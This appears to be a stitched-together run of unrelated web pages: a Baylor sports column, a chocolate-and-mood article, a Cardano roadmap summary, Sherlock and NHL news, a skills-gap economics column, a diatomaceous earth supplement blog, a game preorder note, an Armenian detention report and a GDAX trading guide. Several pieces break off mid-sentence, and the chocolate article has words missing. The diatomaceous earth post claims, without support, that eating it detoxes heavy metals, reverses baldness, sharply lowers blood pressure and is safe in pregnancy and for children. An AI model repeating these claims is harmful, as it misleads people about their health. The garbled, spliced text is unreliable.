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Oh, and the kid in the SI piece with the sign reading "Deuteronomy 7:2: SHOW THEM NO MERCY"? Setting aside the tastelessness of trotting out a Bible chapter synonymous with the bloodlust of the Crusades for the sake of a basketball prop, SI might have gone a little deeper into that passage, seeing as how its latter verses get to the heart of Baylor's years of exile: "If you pay attention to these laws and are careful to follow them … you will be blessed more than any other people." There was a little dime-store theodicy to be had in Baylor's epic mediocrity. Where was God's blessing for all these years? It's glib, sure, but that was the feeling among so many Baylor grads I knew growing up in Fort Worth. It wasn't a down year or a rough patch—outside of a lucky game ot two, there was precisely nothing to cheer about for something like 35 years. RGIII winning the Heisman was the biggest thing to happen in Baylor football since the Miracle on the Brazos in 1974. This isn't hyperbole. The Wikipedia page for Baylor football has no information for the years between 1974 and 2008. For basketball, it goes straight from "Post World War II success" to "2003 Scandal." World War II!
And now, somehow they're good. It's like a miracle.
To which all of Baylor Nation probably says: Ahem.
* * *
I watched the Big 12 tournament quarterfinal game—the one in which Baylor took apart Kansas State—in a bar/restaurant in Manhattan. During the game, some staff member switched the channel to the Syracuse game. You'd think they could spare a screen for us wayward Texans, not least because the menu flaunted things like chicken fried steak and pulled pork. Something like 14 of 16 TVs in the joint were tuned into Syracuse, and my buddy Stu and I were sitting directly in front of the screen we were watching, our heads blocking anybody else's line of sight. We sighed expertly. It's not like we weren't used to it. In the 10 or 15 years since we migrated to New York, on those rare occasions when some national network deigned to air a Baylor game, we would always have to fight to get any place to switch the game on, and such fights would almost always end unhappily—a polite shrug from the bartender as she switched over to some game that people actually cared about.
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This time, though, the bartender apologized sweetly and we got our game back on. Maybe she was just being accommodating, but Jesus Christ it felt good.
David Shoemaker, aka The Masked Man, works in publishing and writes our Dead Wrestler of the Week column. He also writes about wrestling for Grantland. Email him at [email protected] and follow him on Twitter at @AKATheMaskedMan.Source: Emily Deans MD
Chocolate, a fermented extract of the seed pods of the Theobroma cacao plant, is one of the world’s most popular foods. Given the, theobromides, and rich number of flavanols in chocolate, it’s no surprise that cocoa has been used as a medicine for at least 3000 years for varying conditions such as fatigue, rheumatism, and even syphilis*. Could these chemical compounds have a beneficial effect on the brain?
If we look at observational studies tracking chocolate consumption and, the outlook is gloomy, with more depressed individuals reporting consuming more servings of chocolate per month. An older study linked consumption of chocolate to a higher rate (1). The quality of chocolate is certainly at issue here…highly active flavanols and caffeine are found in the cocoa itself, so white chocolate will have none, and sweeter milk chocolates have far less beneficial compounds than rich quality dark chocolate. Many chocolate snack products historically contained fats, which are linked with detrimental effects in the brain. Other studies have famously linked chocolate consumption with better. Even the number of Nobel Prizes awarded in a country has a positive correlation to the amount of chocolate consumed. These studies are a good example of why observational data is good at tracking trends but can’t tell us anything about causality. Does chocolate cause depression, or is a plate of brownies the first thing you reach for when you are feeling blue? And does coffee make you smarter, or do wealthier countries with higher chocolate consumption have a greater number of Nobel winners?
Controlled trials of cocoa (the unsweetened powdered magic left after the fermentation and drying of the cacao pods) tell us more directly about the effects of chocolate on the brain, and give us the actual mechanism as to why chocolate might be beneficial. First, the flavanols in cocoa (and also many other fruits, berries, coffee, and tea) activate anti- receptors while caffeine has direct antidepressant effects. That means you get the benefits of a that is calming at the same time…a calmer energy than caffeine alone.
Source: Flickr Creative commons
Cocoa flavanols have also been shown to have anti-inflammatory effects helping all sorts of body systems, reducing blood pressure, reducing measures of inflammation such as C reactive protein, increasing cerebral blood flow, and improving the function of blood vessels, particularly in animal studies. Flavanols seem to enhance signaling to improve neuron regeneration and repair and help long-term. They also increase the abiity of the neurons to get fuel and oxygen and to remove waste products better. A randomized trial using a in healthy middle aged human subjects showed the administration of high dose cocoa (500mg of polyphenols) improved mood over the course of 30 days.
In the US, chocolate products are the third highest source of dietary antioxidants, whereas chocolate happy countries like the Netherlands and France get huge amounts of flavanols from cocoa. Dark chocolate has cocoa, some beneficial minerals, and is the way to go if you are rationalizing sweets consumption for better. A rich in all sorts of different polyphenols and flavanols found from eating a rainbow of fruits and vegetables can round out that chocolate consumption and is a safe bet for building and supporting a healthy brain.
*like chocolate, another export from the New World…I recommend penicillin as in lieu of chocolate
(1) Lester D. National consumption of chocolate and rates of personal violence (suicide and homicide) Orthomolecular Medicine. 1991;6(2):81–82
Image Credit: personal photo
Image Credit: flickr creative commons
Copyright Emily Deans MDIt mentioned that Cardano has 5 main core teams, which are lead and held responsible by IOHK - who is the team leader. Additionally there are 3 main parties who act as auditors - that have the purpose of a examining and evaluate the quality of the progress achieved by the group.
The roadmap highlighted that there are 3 core principles guiding the development of the road map, which are:
Growth of the community A resilient network Balance research and development - keeping scientific rigour a key factor
Additionally, the roadmap was divided in to ‘chapters’ and currently we are in “Byron” - whose main focus is to make improvements and adjustments to the core of ADA.
Specifically to focusing on the code, bugs and improvement to Daedalus’s wallet and making the API’s integration easier with 3rd parties.
“Shelby” will be the next chapter, whose main goal is to make the network fully decentralised - this will be achieved by improving the stability, interoperability and governance of the the software.
Finally, the budget was increased within two specific fields of research
Researching the issues that Ethereum is currently facing with smart contract, with the purpose of learning from it’s mistakes and implement a better solution in to ADA’s network! Focusing on the philosophy of smart contracts and similar projects with the purposes of achieving something similar without the complexity and costs of Ethereum.
Many investors were expecting something “revolutionary” and to become rich overnight - but upon the release of the roadmap they realised that it would of taken a long time and thus sold their position.
In my opinion this is by far one of the best roadmaps that I have seen - as it’s entirely focused towards achieving ADA’s Long term vision of stability, decentralisation, security and ethicality of it’s network with the purpose of making the world a better place through the use of philosophy and technology.
Companies that rely on a single product or service focus entirely on marketing with the only intention of keeping both long and short term investors happy - I’m glad that ADA did not go down that path.There is more afoot with Sherlock, but the executive producers wouldn’t reveal today at Comic-Con what it is., or whether a fifth season is being planned. “There is something we are working on in London,” teased EP Sue Vertue to a packed room in the San Diego Convention Center. “We do have an answer but we’re not telling what it is,” added fellow EP and departing Doctor Who showrunner Steven Moffat, to laughter.
With Season 4 of the Benedict Cumberbatch- and Martin Freeman-starrer having been broadcast at the beginning of this year after a three-year gulf from Season 3, the often elusive Moffat more than hinted another installment of the BBC/PBS adaptation of Sir Arthur Conan Doyle’s detective stories was coming – but he had no idea when, so he says.
“I’m assuming at some point we all show up again and do it when our careers have dipped,” he said. “We will re-create our glory days back when everyone loved us,” Moffat asserted to more laughter from the crowd in SDCC’s Room 5AB.
“Everything’s possibly on the table,” Moffat said somewhat more seriously during the panel, which in theory was about the Sherlock comics not the series. “We haven’t had the conversation,” he noted of co-writer and Sherlock co-star Mark Gatiss and the now Marvel franchise regulars Cumberbatch and Freeman.
“I really just right now finishing up on Doctor Who, I’m flat out on that,” Moffat revealed of the Time Lord series that he and the 12th Doctor, Peter Capaldi, are exiting after this year’s Christmas special.
On the Doctor Who front, Capaldi, Moffat, Gatiss plus co-stars Pearl Mackie, Matt Lucas and Michelle Gomez will be onstage at Comic-Con this year with a Hall H farewell Sunday, all but closing out the 2017 confab. No word whether incoming showrunner Chris Chibnall and the new Doctor, Jodie Whittaker, will show up too.It took about 35 seconds after Pekka Rinne's seven-year, $49 million contract extension was announced by the Nashville Predators for Montreal Canadiens fans to flood Twitter with Carey Price comparisons.
And yes, there's no question that Price's leverage just went up even more, if it wasn't high enough to begin with.
They are not exact comparisons: Rinne was unrestricted free agent-bound, while Price will be a restricted free agent July 1. UFA-bound players always have a bit more leverage.
Still, they're both MVPs for their respective teams and top-five goalies in the world.
Contract talks haven't begun yet between the Habs and Price's camp, but the plan is for those discussions to begin before the offseason.
"We're expecting to have a conversation with Montreal sometime this season," Price's agent, Gerry Johansson, told ESPN.com on Thursday.
Price is earning $2.75 million this season, and that salary will easily double.
And What About the Preds?
Speaking of the story shifting quickly, it didn't take long for the Predators angle to move from Rinne's deal to the remaining two big free agents on the team.
The future of Ryan Suter in Nashville largely depends on the team's success this season. Don McPeak/US Presswire
Ryan Suter is eligible to be an unrestricted free agent July 1 and captain Shea Weber will be a restricted free agent. We chatted with a half-dozen NHL team executives Thursday in the wake of Rinne's signing, and none of them believe the Preds can sign both. The betting money in the industry is that one signs, and the other one goes.
"I think it's going to be awfully hard to them to get both defensemen done," one NHL GM said.
What those executives may not know is what Preds GM David Poile shared with ESPN.com on Thursday evening: Ownership gave him the financial green light last week to sign all three of his impending free agents to "fair market value" deals. Which means if the Preds pull it off, their payroll will go from the third-lowest in the NHL this season to possibly top 10 next year.
Now, it's one thing for the Preds to have the green light to spend on Suter and Weber, but it's another for both players to agree on what fair market value is, or to want to say in Nashville. How the team performs this season will certainly also play a factor in both players' decisions.
First up for Poile will be Suter since his pending UFA status makes his situation a little more pressing than Weber's. Technically, Weber can't sign a new deal until January anyway, per the CBA rule for players on one-year deals.
As we reported Tuesday, Suter's agent, Neil Sheehy, plans to be in Nashville in mid-November to sit down with Poile and resume contract talks. Suter is earning $3.5 million this season. We'd be shocked if he wasn't looking to make at least $6.5 million, if not $7 million, in his new deal.
If the Preds don't have Suter locked up as the Feb. 27 trade deadline approaches, Poile will have a mighty difficult decision to make. He didn't move pending UFA Dan Hamhuis a few years back and saw him walk away to Vancouver in the summer. If the Preds aren't in a playoff spot Feb 27, it's a no-brainer: You move Suter and maximize his asset value. But if Nashville is once again in a playoff spot, it's white-knuckle time. The Preds likely would have to keep him for the playoff drive and swallow hard if he walks away July 1.
Did we mention the Detroit Red Wings have more than $20 million of cap room next summer?
Hurricanes Trade Talk
Much has been made of the surplus on defense in Toronto and the eventual and likely trade the Maple Leafs will make using that surplus sometime this season.
But another team that's willing to move a defenseman is the Carolina Hurricanes, a source told ESPN.com this week.
The idea is to give more ice time eventually to the likes of Justin Faulk or Derek Joslin, both promising young blueliners. The Hurricanes need to open up that ice time by moving a defenseman.
It's not clear whom the Hurricanes would be willing to move, but Bryan Allen is eligible for unrestricted free agency July 1.
Hurricanes' Ownership
Veteran GM Jim Rutherford added minority owner to his title Thursday when the Hurricanes announced he is among 10 new minority partners joining principal owner Peter Karmanos.
"I feel very good about my longtime relationship with my boss and friend, Pete Karmanos," Rutherford told ESPN.com. "When this opportunity was laid out to local people, I was part [of] it and listening to it and realized it was something I wanted to do and was worthwhile to do."
Rutherford was already a mainstay at board of governors meetings for the Hurricanes, but now he'll attend those meetings with an ownership stake. We asked him, given the specter of a new collective bargaining agreement next year, whether that changed the way he viewed the industry now that he isn't just a GM.
"No, it doesn't change how I look at things," Rutherford said. "Really, over the last number of years I have really been excited about where the on-ice game has gone and where it's going. Also, as franchises get stronger, we see more growth in Carolina. So I'll look at things the same way that I have. I just think the league has done a good job."
Team USA 2014
We wrote a few weeks ago that if Steve Yzerman wants to run Team Canada's 2014 Olympic team, it's his job again.
But what about Team USA?
USA Hockey has not approached 2010 GM Brian Burke about it at this point. It's still early, obviously. We'd be surprised if Burke was not the GM again -- or at least was part of the operation in some capacity along with the committee of NHL GMs that USA Hockey will likely lean on again.
It's behind the bench that it might get interesting. Ron Wilson did a terrific job in Vancouver with a surprise silver medal. But it wasn't gold, so we're guessing that opens up the job.
The betting money from this perspective is on Pittsburgh Penguins coach Dan Bylsma. Again, a lot can change between now and USA Hockey's decision-making time, but we believe Bylsma is the early front-runner.
Howard Solid
Perhaps lost somewhat in Detroit's recent struggles -- the Red Wings entered the weekend on a six-game slide (0-5-1) -- has been the excellent play nonetheless of netminder Jimmy Howard.
"I hate to waste goaltending performances," coach Mike Babcock told ESPN.com this week.
Babcock made the comparison to a pitcher in baseball always throwing gems but still losing.
"If you're Jimmy Howard, you've got to be suing for no run support," Babcock said.
The Red Wings, as of Friday morning, were 25th in the NHL in goals per game. Nothing short of stunning.
Howard, meanwhile, entered the weekend with a 1.99 goals-against average and.921 save percentage.Skill gaps, skill shortages, and skill mismatches: Evidence for the US
Peter Cappelli
Many high-paying jobs in the US cannot be filled, raising concerns about an existing skills gap. However, this column does not find evidence in support of serious skills gap or shortages in the US labour force. Similarly to other developed economies, the prevailing situation in the US is due to skill mismatches. This could have implications for students and their tuition-paying families.
Federal and State governments in the US are giving serious consideration to the idea that the there are important problems with the overall quality of labour in the US.
The most extreme but nevertheless most common view of the situation is that there are substantial numbers of high-paying jobs that cannot be filled because school leavers do not have the skills to perform them.
This view is often described as a ‘skills gap’. As many as a dozen reports from respected organisations like the National Academy of Sciences (2007) have echoed some version of this position, and several state legislatures are considering measures to channel students into fields where employers want to hire.1
Lack of systematic evidence
It is difficult to think of a policy issue as serious that has been given less attention by the academic research community.
Virtually all the evidence used to support the skills gap idea comes from employers, either via anecdotes, proprietary surveys from consulting firms, or industry associations.
The surveys report that employers have difficulty hiring but do not give a definition as to what ‘difficulty’ means nor ask why. My review of all these reports finds that many of them actually report contradictory evidence; a surprisingly large percentage of employers when asked say that the difficulty they have stems from not paying enough, not providing training, and not being able to anticipate their skill needs. Among the jobs that are hardest to fill are those that are unskilled – such as labourers – or low-skill – such as truckers.2
Academic research
Some academic research, mainly macro-level data, has been used by proponents of the skills gap idea. Some of the applications suffer from logical problems; the fact that the unemployment rate for college grads is much lower than for high school grads, for example, does not necessarily imply that there are many more jobs requiring college level skills as college grads can and are taking jobs that require only high-school skills. High school grads cannot do the reverse. The fact that the college wage premium is at historically high levels above the wages for high-school-only workers is often also taken as evidence that there is a high demand for college grads, but many other factors are at work as well, such as declining wages for high school grads, and the fact that the other attributes of high-school-only and college grads are not equal nor constant over time.
Other, more direct evidence on outcomes like wages, suggests that there any prior shifts in demand toward jobs with college-level skills has stopped in recent decades and even reversed (Beaudry et al. 2013). More direct evidence on the actual requirements of jobs in the US economy shows only modest increases over the past generation and surprisingly, given the rhetoric, no increase in average engineering and science skills (Liu and Grusky 2013).
While there has been little, if any, evidence of any structural changes in the economy since the Great Recession that might affect skill requirements going forward (e.g., Rothstein 2012), the one fact that has relevance for the skill gap argument is the apparent shift in the Beverage curve (Barnichon et al. 2012). Employers are taking longer to fill vacancies, and while that might be consistent with the idea that there are problems with applicants, we do know that they have also cut back on their recruiting efforts (Davis et al. 2012), which would explain longer search times. We also know that job search has changed substantially since the US last experienced unemployment at current levels, and the move to online and computer-based hiring makes searching much cheaper for employers, which should lead them to do more of it.
We do not know with any certainty whether the employer complains about difficulty hiring represent anything new or is, in fact, a serious concern. The absence of any upward pressure on wages, for example, is strong evidence that hiring challenges are at least not yet a serious burden for employers. Assuming there is something new and serious afoot, the most promising hypotheses point to changes in employer behaviour, specifically greater use of outside hiring and the preference for hiring those currently employed, both of which drive turnover elsewhere (Hollister 2011). More vacancies and the need to fill them by itself would create more hiring challenges, and hiring currently employed, experienced workers, is much more challenging than hiring on college campuses.
Concluding remarks
Overall, the available evidence does not support the idea that there are serious skill gaps or skill shortages in the US labour force. The prevailing situation in the US labour market, as in most developed economies, continues to be skill mismatches where the average worker and job candidate has more education than their current job requires. Accepting the premise of the argument and making schools more responsible for creating job skills at the college level would have considerable implications for students and their tuition-paying families that should be thought through very carefully.
References
Barnichon, R, M Elsby, B Hobijn, and A Șahin (2012), “Which Industries areShifting the Beveridge Curve?” Monthly Labor Review.
http://www.bls.gov/opub/mlr/2012/06/art2full.pdf.
Beaudry, P, D A Green, and B M Sand (2013), “The Great Reversal in the Demand for Skill and Cognitive Tasks”, NBER Working Paper 18901.
Cappelli, P (2014), “Skill Gaps, Skill Shortages and Skill Mismatches: Evidence for the US”, NBER Working Paper 20382. Forthcoming in ILR Review.
Davis SJ, R J Faberman and J C Haltiwanger (2012), “Recruiting intensity during and after the great recession: National and industry evidence”, American Economic Review, Vol. 102(3).
Hollister, M (2011), “Employment Stability in the US Labor Market: Rhetoric Versus Reality”, Annual Review of Sociology 37: 305-324.
Liu, Y and D B Grusky (2013), “The Payoff to Skill in the Third Industrial Revolution”, American Journal of Sociology, 118: 1330-1374.
National Academies of Sciences, Academy of Engineering and Institute of Medicine (2007), “Rising Above the Gathering Storm: Energizing and Employing America for a Brighter Economic Future”, The National Academies Press.
Rothstein, J (2012), “The Labor Market Four Years into the Crisis: Assessing Structural Explanations”, Industrial & Labor Relations Review (65:3) 467-500.
Footnotes
Among the most remarkable of these is the joint publication of the National Academies of Science, Engineering, and the Institute of Medicine called “Rising Above the Gathering Storm: Energizing and Employing America for a Brighter Economic Future”(2007), which argued that it was important to increase the supply of highly educated grads in fields like information technology in order to keep employers in the US by keeping wages here down.
2 See Cappelli (2014). The best known of the proprietary surveys and also the one that contains the most contradictory evidence, albeit typically not in the headlines, is conducted by Manpower annually (2013).To call me a Legend of Korra fan would be less accurate. I think I’m obsessed. But |
aceous earth is 84% silica, and contains some 20 trace minerals. Did you know life can’t exist without silica? It is essential for the building of healthy bones and teeth, skin, hair, and nails. As our mineral resources are getting depleted, our food is containing less and less silica. Do yourself a favor and add this divine diatom to your diet.
How to Use Diatomaceous Earth?
(Some of the following links are affiliate links)
I’ll start with a public service announcement: YOU MUST ONLY BUY AND USE FOOD GRADE DIATOMACEOUS EARTH. Sorry to yell, but the distinction is very important. Fortunately, it is easily found both locally and online.
Now that I’ve made that clear, I’ll give the instructions: to take diatomaceous earth, all you have to do is mix a spoonful into some water or other liquid, and drink. Follow with another cup of water. (Diatomaceous earth can make you thirsty – make sure and drink plenty of water while using this supplement.) It’s that easy! You can also add it to smoothies – it’s totally undetected that way.
Dosage: (NOTE: We are not doctors, please use DE with discretion): If you are just beginning your diatomaceous earth journey, start with a teaspoon mixed in liquid, as I’ve detailed above, once a day. Slowly increase to twice a day, and then slowly increase the amount taken, up to a heaping tablespoon, and up to three times a day.
Please hear me: slowly. Diatomaceous earth is a way to detox your body, and if you start with too much, your body will get rid of toxins too quickly and leave you feeling under the weather. Yes, it really does work that well! If you start experiencing light headaches, you’ll know you took it a little fast. But don’t stop altogether, just do yourself a favor and take it slowly – no need to rush.
Pregnant and nursing mamas, you’re in the clear – diatomaceous earth can be safely taken during either stage. Just be sure to drink plenty of water. It is also fine for children to take in smaller doses. My children get their DE in their smoothies.
How does it taste? Well, if you want to know the truth, you’ll feel like you just licked a mud puddle. Ha! Not that you’ve ever done that, but it just tastes… like dirt. Sometimes it is hard for me to get down, but I am so motivated by the positive changes it’s brought to my body!
Would you like to know my favorite way to take it? I mix a spoonful with about six ounces of coconut water and add 1/2 a teaspoon of honey. Mmmm, it’s delicious! The honey is optional; it tastes great without it as well. You could also try taking it with fresh vegetable juice, whatever works for you.
Health Benefits of Diatomaceous Earth
Since it sweeps out foreign matter, you will begin to notice better nutrient absorption and less fatigue.
Studies show that DE can help your body lower cholesterol and high blood pressure. Believe it or not, some users report a 40-60 point drop in blood pressure points after only a month of use.
The beauty mineral: the silica in DE helps hair and nails grow faster. Since I’ve started taking it, my nails have turned from flimsy to hard as a rock. My hair, which partially fell out earlier this year due to a difficult surgery recovery, has begun filling in nicely. I have read many, many testimonies of people who have reported that it reversed their baldness. The silica also helps reduce wrinkles, age spots, and acne, and it also strengthens teeth and bones, tendons, and joints.
Metal detoxification: since DE sweeps heavy metals out of the body, this is helpful especially to those with heavy metal poisoning or mercury fillings, which leach mercury constantly into the body. Aluminum is also swept out, lowering the risk for Alzheimer’s disease.
Helps repair and maintain lung function, acts as a cough decreasing agent
Helps prevent kidney stones, osteoporosis,
Decreases vertigo, tinnitus, and insomnia
Regulates bowel movements, lessens gastrointestinal inflammation, cleans out the colon, treats both diarrhea and constipation. It is a great choice for families on the GAPS diet!
Treats head lice and fleas (make sure you don’t inhale the powder)
How to Use Diatomaceous Earth forAnimals
It’s true – your pets and livestock will reap the benefits as well.
Sprinkle a little DE on your pets’ food daily for the same benefits you receive. This is a great de-wormer!
Carefully sprinkle onto your pets’ and livestock’s coats – making sure none is inhaled – for protection from lice, ticks and fleas.
Sprinkle in the kitty litter box and pet beds for extra odor and flea protection.
Sprinkle in your barn and stalls for pest protection.
Decreased mastitis and increased milk production in livestock with internal use. Causes healthier coat and hooves.
Sprinkle in the chicken coop to control flies.
Better and stronger eggs produced by hens who have it sprinkled in their feed.
For dosage instructions and more benefits, visit this page.
Get more tips for using DE around the homestead, plus other DIY remedies, in Natural Homestead.
How to Use Diatomaceous Earth Around Your Home
You can use DE around your home in the following ways:
Sprinkle around windows and entrances to protect from ants, spiders, and even scorpions. (The DE scrapes their exoskeleton and dries it out, leaving them dead.)
Sprinkle a ring around your garden plants for protection from garden pests. (Do realize, though, that DE kills beneficial insects as well. Avoid applying onto flowers. – Does not harm worms or beneficial soil microorganisms.
DE will destroy ant colonies, even fire ant colonies. Sprinkle around and in the hole.
DE can be used to treat a bedbug infestation.
Sprinkle DE in your garbage bins for odor and pest protection.
Got a compost heap? Apply DE to keep odors and pests away.
Add to manure heaps to keep flies and larvae down.
Add to bulk grains to keep pests and moisture out.
You can use DE to make your own homemade toothpaste! I have a recipe coming to my blog soon.
You can add DE to your homemade “DE”odorant – I am also working on a recipe for this.
You can sprinkle DE in your toilet for a little extra scrubbing power – it won’t harm porcelain.
FYI: if the area where you applied the DE gets wet, such as in the garden, please reapply.
As you can see, there are so many uses! I hope I’ve intrigued you today about my friend, diatomaceous earth. I believe no family, home, or homestead should be without it. It’s worth a shot, don’t you think?
Do you use diatomaceous earth already? Let us know in the comments!
Peace, Love, and Diatoms,
Dandy
Danielle is first and foremost a daughter of the Most High God. She is married to her best friend, and they have four children. She is a recovering procrastinator, a real foodie, and an unapologetic dreamer. And yes, she eats dirt daily. You can find Danielle blogging about life, love, simplicity, and her affinity for bacon at http://lovelovething.com – Don’t forget to join the discussion on Facebook too.
References:
http://diatomaceousearthsource.org/ http://en.wikipedia.org/wiki/Diatomaceous_earth http://www.naturalnews.com/039326_diatomaceous_earth_detox_mercury.html http://www.naturalnews.com/033367_silica_diatomaceous_earth.html
Disclaimer: These statements have not been evaluated by the Food and Drug Administration and are for educational and entertainment purposes only. These products are not intended to diagnose, treat, cure or prevent any disease.The Evil Within 2 Preorder Bonuses Announced
Bethesda has announced the preorder bonuses for The Evil Within 2, and they’re certainly… something. Rush to order now, and you will receive the following: medical supplies, crafting supplies, and the Burst Handgun, which is exclusive to The Last Chance Pack. Super.
Players can preorder the game for PS4, Xbox One, or PC for $59.99 on the game’s official website. Amazon Prime members can take advantage of a savings offer that brings the price down to $47. 99, active at the time of this publishing. Some fans may find the $12 savings is a bit more exciting than a handgun that uses regular ammo and a few extra supplies. As for me? I’ll be ordering the game, but saving some cash in case they release a special edition with a little more oomph than the Last Chance Pack.Authorities in Armenia arrested dozens of activists in the wake of last month’s street protests, sending over 40 of them to pretrial detention on criminal charges of mass disorder. Among them were four prominent protest leaders: Hovsep Khurshudyan, Armen Martirosyan, David Sanasaryan, and Andreas Ghukasyan.
Expand Andrias Ghukasyan in Armenia, June 2013. © 2013 Voice of America
In violation of international standards, the courts relied on general and abstract reasons for detention, giving no specific facts about any of the men’s likelihood to abscond or otherwise violate terms related to bail, when sending them to an overcrowded prison with poor conditions for two months, awaiting trial.
This gratuitous use of pretrial detention seems to be sending a signal about the lengths to which the government will go to silence those capable of mobilizing opposition.
Fortunately, upon appeal, a court released three leaders – Khurshudyan, Martirosyan, and Sanasaryan – on bail in mid-August.
However, on August 28, an appeal court refused to release on bail Andreas Ghukasyan, a senior member of the opposition New Armenia movement, after Ghukasyan stated he planned to continue his peaceful political activities if released, according to his lawyer. The detention certainly looks like an effort to keep Ghukasyan from carrying out legitimate political work, and violates his rights to free speech.
Ghukasyan and the three other leaders await trial on serious criminal charges of “organizing mass disorder” for the July protests, which erupted after armed men from a radical opposition group seized a Yerevan police station on July 17, killing one policeman and taking several hostages. Before the gunmen surrendered on July 31, public support for them and disaffection with the government grew into a protest movement.
The protests themselves were largely peaceful, with isolated incidents of violence from participants – nothing remotely like “mass disorder.” The dozens of witnesses my colleague and I interviewed immediately after the protests attest to that, as does widely-publicized video footage.
The releases of Khurshudyan, Martirosyan, and Sanasaryan are an important step. To show full respect for Armenia’s human rights commitments, investigators should revise their request for pretrial detention for Ghukasyan, and closely review dozens of other similar cases with a view to clearly justifying the grounds for holding them. Pretrial detention should be a measure of last resort, not an easy means for the Armenian authorities to wrongfully punish critics.Be sure to read our newest article on Coinbase Pro. We will update this post with new screenshots and specific Coinbase Pro tips at a later date.
Coinbase (our guide here) is the most popular cryptocurrency exchange in the world with over 13 million accounts as of December 2017. Its ease of use and variety of payment methods appeal to both new and veteran cryptocurrency investors. But it’s certainly not without problems. Rapid growth in the number of accounts has led to increased complaints of technical glitches or transaction problems. But probably the most common complaint about Coinbase is the high fees. When initiating a buy order on Coinbase, the user is presented with a price quote for the underlying currency that is at the top of or slightly higher than the current trading range of that currency on other exchanges, as Coinbase adds up to 0.75% to the quote.
Then come the fees. Using USD already in your Coinbase wallet, you can make an instant purchase with a 1.49% fee. The same fee applies if you make the purchase from your bank account, and then you must wait 7-10 days to receive your coins. Instant purchases using a credit card result in a 3.99% additional charge. Users are paying very high fees for the convenience of Coinbase.
Coinbase and GDAX only trade bitcoin, bitcoin cash, ethereum and litecoin. For trading other cryptocurrencies, you’ll need to use one of the other crypto exchanges.
Moving From Coinbase to Trading on GDAX
But there is a better way. Using the Coinbase-owned and fully licensed exchange GDAX (www.gdax.com), you can place buy orders with fees as low as 0.10%. There are more advanced options for creating Post Only trades that essentially result in zero fees. Limit orders allow you to set the price at which you are willing to buy or sell. Perhaps you are not interested in buying bitcoin at $10,000 but you’d like to be ready to buy at $8,000. You can’t monitor your accounts 24/7. GDAX Limit orders allow you to place an order to purchase whatever amount of bitcoin you wish at $8,000. The order will execute automatically if bitcoin drops to that price. You can do the same when selling with a Limit order to sell when bitcoin hits $15,000 for example. There are more advanced options for Limit orders as well.
Sounds great, so why aren’t more people trading on GDAX? Some are unaware of its existence. Others may be somewhat apprehensive of the trading interface or concerned about placing trades out of fear of making a costly mistake. Those are certainly valid concerns. How can mistakes be eliminated? Always pay close attention when placing trades. Triple check everything before confirming a trade, then check again as soon as trade is placed in system. Understand all trade types before starting. And finally, read this guide until you fully understand all of the trade and order entry options.
Please note this guide is not intended as advice on buying or selling cryptocurrency. Example trades will be used throughout. These are not recommended trades nor endorsements of the traded assets. They are for educational use only. Let’s get started.
Opening a GDAX Account
Getting an account with GDAX is pretty straightforward. You must first have a Coinbase account fully verified and linked to a bank account. GDAX requires additional account verification steps. Follow all of the instructions to open an account. This may take a few days depending on your Coinbase status. Once your account is set up, you must deposit funds before placing orders. You cannot buy with a credit or debit card on GDAX. You cannot buy now and pay later from your bank. That option exists in your Coinbase account, and these conveniences come with the cost of higher fees.
Depositing money to GDAX is as simple as transferring it from your Coinbase account or bank. On any of the trading screens, tap the Deposit button upper left corner. You will be presented with a tabbed menu screen where you can select currency to transfer, enter desired amounts and choose the accounts for transfer. The rest of this article assumes you have a GDAX account with available funds for buying.
After logging into your account, you are presented with the ordering/trading interface page. This section discusses using the web page. There is mobile video example later in the article demonstrating the same order entry methods. If your screen does not look like Figure 2, navigate to the top right corner and select “Trade” from the dropdown menu (Fig. 3.) You may also wish to explore the other menu options here. You can modify your account settings, view and export trade history, and access help articles. Be sure to spend some time learning how each option works. Pay particular attention to the information under the “My Fees” heading.
Entering Buy Orders on GDAX
On the top left corner, you will find a drop-down menu that allows for selection of trading pairs offered by GDAX. Pairs include dollars (USD) and euro (EU) to buy bitcoin (BTC), litecoin (LTC) and ethereum (ETH.) For illustration purposes, the current trading pair selected in Fig.4 is LTC/USD. The price chart is set to show LTC prices for the previous 7 days with a line chart. You can make changes using the dropdown selection menu at the top of the screen positioned in the center, and the changes will be reflected in the chart on the right side of the screen. Notice in this screen shot that there is a current open order for LTC. This is shown in the bottom right panel of the trading screen. The order was placed as a Limit order for 1000 LTC to execute if price drops to $0.06 just for demonstration purposes. It will remain open until it fills (I can dream) or until the “cancel” option under “Status” is selected.
To place a similar order, first select the desired trading pair from the top left menu. I will select LTC/USD to demonstrate how to buy litecoin using my dollar balance. This video will demonstrate first entering an order for $500 worth of litecoin at the current market price of $100.20. For a Market Buy, you simply enter the dollar amount you wish to buy in the Amount box. If the “Place Buy Order” had been selected, the order would have immediately filled for 4.97504990 litecoins, and $500 would have been deducted from the USD balance top left. Instead, the order was erased before placing it, because I prefer Limit orders for all buys.
In the second portion of the video, note I select “Limit” and the order entry box changes. I can now specify how many litecoins I wish to purchase and exactly what price I’m willing to pay. In this video, I chose to buy 50 litecoins at $1.50 each (again, I can dream.) The total cost for that order is shown under the order entry options as $75. Once the order is placed, it appears on the bottom right hand side in the “Open Orders” section. Since that order is basically useless, I demonstrate how to cancel in the video. It is very important to triple check all orders before hitting the Place Order button. Be sure you haven’t transposed the number of coins and the price entries, or you could end up making an expensive mistake. Start slowly and progress as you become more comfortable with the process of placing trades and how they execute.
How Do GDAX Orders Fill?
All orders whether Market or Limit are subject to partial fill execution. That means the total number of coins you wish to trade may be matched up to more than one corresponding order. You may get fractional fills from several orders rather than one exact match. This typically executes so quickly that the only way to tell is by reviewing your order fill report. Limit orders will fill at the specified price regardless of full or partial fills. In the rare event of very rapid price movement, it is possible that only a part of an order would fill leaving the balance on the order book. In reality this is unusual but more likely with large orders. If a buyer wishes to buy 20 bitcoins at $9,000 but Sell orders only total up to 5 bitcoins at that price before before price begins to climb, the remaining 15 bitcoins order will not execute until price declines again.
Limit orders can save you money not only on trading fees compared to Coinbase, but also allow you to set a lower entry price for your crypto purchase. However, there is no guarantee that your trade will execute, and your order could remain unfilled if prices trend continually upward. You can increase the odds that an order will execute by placing it close to current price. There may be times when you’d rather just immediately buy a coin. In those cases, you can still save big on fees by just placing a Market order.
Advanced Order Options
